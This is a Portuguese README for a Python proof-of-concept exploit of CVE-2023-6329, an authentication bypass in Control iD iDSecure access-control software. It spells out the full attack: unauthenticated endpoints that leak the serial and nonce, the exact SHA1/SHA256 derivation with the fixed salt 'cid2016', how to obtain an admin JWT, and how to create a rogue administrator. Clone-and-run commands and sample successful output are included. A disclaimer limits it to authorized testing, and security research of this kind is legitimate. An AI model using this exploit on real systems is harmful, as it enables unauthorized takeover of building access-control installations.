
CVE-2023-6329 – PoC de bypass de autenticação para Control iD iDSecure ≤ 4.7.43.0
Um exploit de prova de conceito em Python para CVE-2023-6329, uma vulnerabilidade de controle de acesso impróprio no Control iD iDSecure versões 4.7.43.0 e anteriores. A falha permite que um atacante remoto não autenticado reconstrua credenciais de login válidas ao explorar um algoritmo previsível de derivação de senha que depende inteiramente de valores publicamente acessíveis — um número de série do dispositivo, um nonce fornecido pelo servidor e um salt fixo. Uma vez autenticado, o atacante pode criar um novo usuário administrativo na interface web.
Convertido para Python com base no módulo original do Metasploit por Michael Heinzl. Vulnerabilidade original descoberta e divulgada pela Tenable.
Aviso legal: Esta ferramenta é fornecida apenas para fins educacionais e testes de segurança autorizados. O autor não se responsabiliza por uso indevido. Execute-a somente contra sistemas que você possui ou para os quais tenha permissão explícita por escrito para testar.
A rotina de login em iDS-Core.dll expõe um caminho alternativo de autenticação por meio de um parâmetro passwordCustom. O valor desse parâmetro é derivado por um algoritmo previsível que utiliza o número de série do dispositivo (obtível publicamente sem autenticação), combinado com um nonce fornecido pelo chamador e uma string de salt fixa (cid2016). Como todos os elementos do cálculo são controlados pelo atacante ou livremente obtidos, qualquer atacante remoto pode calcular um valor válido de passwordCustom e entrar como administrador.
Após a autenticação bem-sucedida por esse caminho, o servidor redefine a senha da conta admin para admin, ou cria essa conta caso ela ainda não exista.
O exploit segue cinco etapas:
1. Verificação de versão — O endpoint /api/util/configUI retorna uma resposta 401 contendo a versão do software, confirmando se o alvo está executando uma compilação vulnerável.
2. Obter dados de desbloqueio — Uma requisição GET para /api/login/unlockGetData retorna o número serial do dispositivo e um nonce passwordRandom. Esse endpoint não exige autenticação.
3. Calcular passwordCustom — O algoritmo a seguir é aplicado para derivar a credencial de bypass:
sha1_hash = SHA1(serial)
combined = sha1_hash + passwordRandom + "cid2016"
sha256_hash = SHA256(combined)
passwordCustom = int(sha256_hash[0:6], 16) # first 6 hex chars → decimal
4. Autenticar e obter um JWT — O passwordCustom e o passwordRandom calculados são enviados via POST para /api/login/, que retorna um JWT accessToken válido com privilégios de administrador.
5. Criar um novo usuário administrador — O JWT é usado para enviar um POST para /api/operator/ e registrar uma nova conta de operador com idType: 1 (papel de administrador).
requestsgit clone https://github.com/itzvenom/CVE-2023-6329.git
cd CVE-2023-6329
pip install requests
python3 exploit.py --host <TARGET_IP> [options]
Uso básico contra um alvo na porta padrão:
python3 exploit.py --host 192.168.1.100
Especifique credenciais personalizadas para a nova conta de administrador:
python3 exploit.py --host 192.168.1.100 --username ctfadmin --password S3cr3tPass!
Alvo executando em uma porta não padrão sem SSL:
python3 exploit.py --host 192.168.1.100 --port 8080 --no-ssl
[*] Target: https://192.168.1.100:30443
============================================================
[*] Target version: 4.7.32.0
[+] Target appears VULNERABLE.
[+] passwordRandom : 2948271034
[+] serial : ABC123XYZ
[*] Computed passwordCustom: 8301745
[+] JWT: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
[+] User 'ctfadmin' created successfully.
[+] Verified! New credentials work.
[+] Login at: https://192.168.1.100:30443/#/login
Username : ctfadmin
Password : S3cr3tPass!
| Campo | Detalhes |
|---|
| CVE ID | CVE-2023-6329 |
| Produto Afetado | Control iD iDSecure |
| Versões Afetadas | ≤ 4.7.43.0 |
| Tipo de Vulnerabilidade | Controle de Acesso Impróprio (CWE-284) |
| Vetor de Ataque | Rede (não autenticado) |
| Data de Divulgação | 27 de novembro de 2023 |
| Descoberta Por | Tenable |
| Argumento | Padrão | Descrição |
|---|
--host | (obrigatório) | Endereço IP ou nome de host do alvo |
--port | 30443 | Porta do alvo |
--username | pwned_admin | Nome de usuário para a nova conta de administrador |
--password | Pwned1234! | Senha para a nova conta de administrador |
--no-ssl | False | Desativa HTTPS (usa HTTP simples) |